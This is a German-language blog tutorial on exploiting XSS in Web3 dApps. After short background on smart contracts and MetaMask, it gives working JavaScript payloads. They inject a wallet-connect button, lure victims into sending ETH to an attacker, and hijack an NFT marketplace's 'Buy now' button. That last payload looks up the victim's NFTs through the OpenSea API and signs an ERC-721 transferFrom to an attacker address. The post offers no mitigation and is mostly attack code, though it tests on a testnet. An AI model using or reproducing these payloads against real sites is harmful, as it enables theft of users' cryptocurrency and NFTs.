Nutzung von Cross Site Scripting (XSS) in Web3

Dec 30 2022
Einführung Cross-Site Scripting (XSS) ist eine Art Cyberangriff, bei dem ein Angreifer bösartigen Code in eine Website oder Webanwendung einfügt. Der eingeschleuste Code liegt normalerweise in Form eines Skripts vor, das dann vom Webbrowser des Opfers ausgeführt wird.

Einführung

Cross-Site Scripting (XSS) ist eine Art Cyberangriff, bei dem ein Angreifer bösartigen Code in eine Website oder Webanwendung einfügt. Der eingeschleuste Code liegt normalerweise in Form eines Skripts vor, das dann vom Webbrowser des Opfers ausgeführt wird. Dies kann es dem Angreifer ermöglichen, vertrauliche Informationen wie Anmeldeinformationen oder Finanzdaten zu stehlen oder andere böswillige Aktionen im Namen des Opfers auszuführen.

Einführung in den Smart Contract

Ein „Smart Contract“ ist einfach ein Programm, das auf der Ethereum-Blockchain läuft. Es ist eine Sammlung von Code (seine Funktionen) und Daten (sein Zustand), die sich an einer bestimmten Adresse in der Ethereum-Blockchain befindet.

Smart Contracts sind eine Art Ethereum-Konto. Das bedeutet, dass sie ein Guthaben haben und das Ziel von Transaktionen sein können. Sie werden jedoch nicht von einem Benutzer gesteuert, sondern werden im Netzwerk bereitgestellt und wie programmiert ausgeführt. Benutzerkonten können dann mit einem Smart Contract interagieren, indem sie Transaktionen übermitteln, die eine im Smart Contract definierte Funktion ausführen. Smart Contracts können wie ein normaler Vertrag Regeln definieren und diese automatisch über den Code durchsetzen. Smart Contracts können standardmäßig nicht gelöscht werden und Interaktionen mit ihnen sind irreversibel.

Was ist eine Blockchain-Transaktion?

Transaktionen sind nicht mehr nur auf Finanztransfers beschränkt, und mit der Entwicklung von Blockchain-Netzwerken können Sie die Blockchain jetzt auch für andere Zwecke als Finanztransfers verwenden, sodass jede Änderung des Blockchain-Status jetzt als Transaktion bezeichnet wird, unabhängig davon, ob es sich um einen Finanztransfer handelt jemand oder Ihre Interaktion mit einem Smart Contract.

Dezentrale Anwendungen (dApps) & Smart Contracts

Viele Leute verwenden synonym die Begriffe Smart Contracts und dezentrale Anwendungen (dApps), aber das ist falsch. Ein Smart Contract ist einfach ein Stück Code, das in der Blockchain gespeichert ist. Eine dApp verbindet jedoch das Frontend mit dem Backend und kann mehrere Smart Contracts zum Ausführen verwenden.

MetaMask Wallet in Kürze

  • MetaMask ist eine Kryptowährungs-Wallet, die es Benutzern ermöglicht, Ether und andere ERC-20-Token zu speichern.
  • Die Brieftasche kann auch verwendet werden, um mit dezentralen Anwendungen zu interagieren.

Web3-Authentifizierung

Die meisten dezentralen Anwendungen (dApps) authentifizieren Benutzer nicht anhand von Benutzername/Passwort, sondern verwenden Kryptoadressen, um Benutzer zu identifizieren. In unserem Fall wäre es also nicht hilfreich, Benutzer zu stehlen, selbst wenn dApp Cookies verwendet, um Benutzeraktivitäten außerhalb der Kette zu verfolgen Cookies, da die Operationen in der Blockchain einen privaten Schlüssel des Benutzers zum Signieren jeder Transaktion erforderten (dieser private Schlüssel existiert nur auf dem Computer des Benutzers und es ist unmöglich, ihn mit einem Angriff wie XSS zu stehlen).

Was können wir tun?

In diesem Thema werde ich einige Ideen erläutern, die Sie mit XSS-Angriffen ausnutzen können, um den höchstmöglichen Schweregrad zu erreichen.

Ich werde während dieser Erklärung die MetaMask-Brieftasche verwenden, da sie die beliebteste Brieftasche ist.

Bevor es losgeht

Wir werden unseren Test im Goerli-Testnet-Netzwerk und nicht im Mainnet-Netzwerk durchführen, sodass wir nicht mit echtem Geld umgehen müssen.

Also müssen wir das Goerli-Netzwerk auf unserer Brieftasche aktivieren.

Hier können Sie Test-ETH für Goerli Network erhalten .

Verbinden Sie sich mit MetaMask!

Dieser erste Teil unseres Angriffs besteht darin, den Benutzer dazu zu bringen, seine Brieftasche mit der dApp-Website zu verbinden. Das Beste hier ist, wenn MetaMask den Benutzer auffordert, die Verbindung zu genehmigen, wird ihm die URL der dApp-Website angezeigt, was den Benutzer etwas zuversichtlicher macht.

Der folgende JavaScript-Code fordert den Benutzer auf, seine Brieftasche zu verbinden:

const x = document.createElement("button");
x.id = "connect";
x.innerText = "Connect to MetaMask";
document.body.appendChild(x);
document.getElementById("connect").addEventListener("click", () => {
  ethereum.request({ method: "eth_requestAccounts" });
});

Jetzt ist der Benutzer mit der dApp-Website verbunden. Danach erstellen wir eine Nutzlast, um eine Transaktion durchzuführen, die Geld für den Angreifer sendet.

Die folgende Payload soll eine Transaktion durchführen, die 0,01 ETH vom Opfer an den Angreifer sendet:

const y = document.createElement("button");
y.id = "send";
y.innerText = "Send 0.01 ETH to Win!";
document.body.appendChild(y);
document.getElementById("send").addEventListener("click", async () => {
  const transactionParameters = {
    nonce: "0x00",
    gasPrice: "0x244AC6D",
    gas: "0x12A52",
    to: "0x0000000000000000000000000000000000000000",
    from: ethereum.selectedAddress,
    value: "0x2386F26FC10000",
    data: "0x00",
    chainId: "0x5",
  };

  const txHash = await ethereum.request({
    method: "eth_sendTransaction",
    params: [transactionParameters],
  });
});

Wie Sie sehen können, erfordert dieser Angriff eine Benutzerinteraktion, aber vergessen Sie nicht, dass MetaMask im ersten Teil die Benutzer-URL der anfälligen Website anzeigt, und dies wird ihn zuversichtlich machen, wenn er keinen technischen Hintergrund hat.

Lassen Sie uns nun mehr Details über die vorherige Nutzlast erklären.

Für transactionParametersdas Objekt haben wir einige wichtige Dinge, die Sie wissen müssen:

1- to: Der Wert dieses Parameters ist die Empfängeradresse (könnte ein öffentlicher Schlüssel Ihres Kontos oder eine Vertragsadresse sein).

2- value: die Menge an Ether (in Hex), die Sie senden möchten.

3- data: Dieser Parameter ist nützlich, wenn wir Smart-Contract-Interaktionen durchführen möchten (ich werde gleich darauf eingehen).

4- chainId: Hier verwenden wir das Goerli-Testnetz, und die ChainId davon ist 0x5 (jedes Netzwerk hat eine eindeutige ChainId).

Die chainId für die anderen Netzwerke finden Sie hier .

Eine neue Ausbeutung

Bevor Sie den Exploit bestimmen, den Sie bereitstellen, ist es wichtig, die Geschäftslogik der dApp zu kennen. Wenn wir also beispielsweise ein gespeichertes XSS auf dem NFT-Marktplatz auf der NFT-Detailseite gefunden haben (die Ihnen Details zu bestimmten NFT zeigen), In diesem Fall verwenden wir nicht den vorherigen Exploit, sondern erstellen ein neues Szenario.

Die meisten NFT-Märkte haben eine „NFT-Detailseite“ wie diese:

Wenn Sie also auf die Schaltfläche „Jetzt kaufen“ klicken, wird Ihnen ein MetaMask-Popup angezeigt, um die Transaktion zu genehmigen (dies ist das normale Verhalten). Wir werden das jetzt missbrauchen, also müssen wir dieses Verhalten ändern.

Zuerst erkläre ich das Angriffsszenario, dann schreiben wir die Exploitation. Wenn der Benutzer auf „Jetzt kaufen“ klickt, möchten wir hinter den Kulissen einen API-Aufruf tätigen, bis wir die NFTs erhalten, die der Benutzer besitzt. Dann übertragen wir das Eigentum an NFT an uns, wenn er die Transaktion über MetaMask bestätigt.

Wir werden die OpenSea-API verwenden, um eine API-Anfrage zu stellen, um alle Benutzer-NFTs zu erhalten.

const req = new XMLHttpRequest();
req.open(
  "GET",
  `https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
);
req.send();

req.onreadystatechange = async () => {
  if (req.readyState === 4) {
    const data = JSON.parse(req.response);
    const SC_address = data["assets"][0]["asset_contract"]["address"];
    const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
  }

SC_address: Diese Variable enthält die Adresse des Smart Contracts (NFT-Adresse).

tokenId: Diese Variable enthält die TokenId der NFT.

Jetzt werden wir eine neue Transaktion erstellen, die den Benutzer dazu bringt, die Übertragung seiner NFT an den Angreifer zu genehmigen:

const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
const transactionParameters = {
  nonce: "0x00",
  gasPrice: "0x244AC6D",
  gas: "0x12A52",
  to: SC_address,
  from: ethereum.selectedAddress,
  value: "0x00",
  data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
  chainId: "0x5",
};
const txHash = await ethereum.request({
  method: "eth_sendTransaction",
  params: [transactionParameters],
});

Das data in - transactionParametersObjekt stellt die Informationen dar, die wir zum Aufrufen der transferFrom Funktion (ERC-721-Methode) benötigen.

Weitere Details zu Daten:

23b872dd repräsentieren die MethodID der Funktion. transferFrom

${ethereum.selectedAddress.substr(2)}stellen die Adresse des Benutzers dar.

${“0”.repeat(64 — tokenId.length)}: Hier berechnen wir die Länge der TokenId, dann subtrahieren wir sie von 64, bis der Rest der Daten mit Nullen gefüllt ist.

Jetzt ist unsere Transaktion fertig, lasst uns alles zusammenfügen.

document.getElementById("buy").addEventListener("click", async () => {
  const req = new XMLHttpRequest();
  req.open(
    "GET",
    `https://testnets-api.opensea.io/api/v1/assets?format=json&limit=50&offset=0&owner=${ethereum.selectedAddress}`
  );
  req.send();
  req.onreadystatechange = async () => {
    if (req.readyState === 4) {
      const data = JSON.parse(req.response);
      const SC_address = data["assets"][0]["asset_contract"]["address"];
      const tokenId = parseInt(data["assets"][0]["token_id"]).toString(16);
      const ATTACKER_ADDRESS = "0x0000000000000000000000000000000000000000";
      const transactionParameters = {
        nonce: "0x00",
        gasPrice: "0x244AC6D",
        gas: "0x12A52",
        to: SC_address,
        from: ethereum.selectedAddress,
        value: "0x00",
        data: `0x23b872dd000000000000000000000000${ethereum.selectedAddress.substr(2)}000000000000000000000000${ATTACKER_ADDRESS.substr(2)}${"0".repeat(64 - tokenId.length)}${tokenId}`,
        chainId: "0x5",
      };
      const txHash = await ethereum.request({
        method: "eth_sendTransaction",
        params: [transactionParameters],
      });
    }
  };
});

Danke fürs Lesen, ich hoffe, meine Geschichte war hilfreich.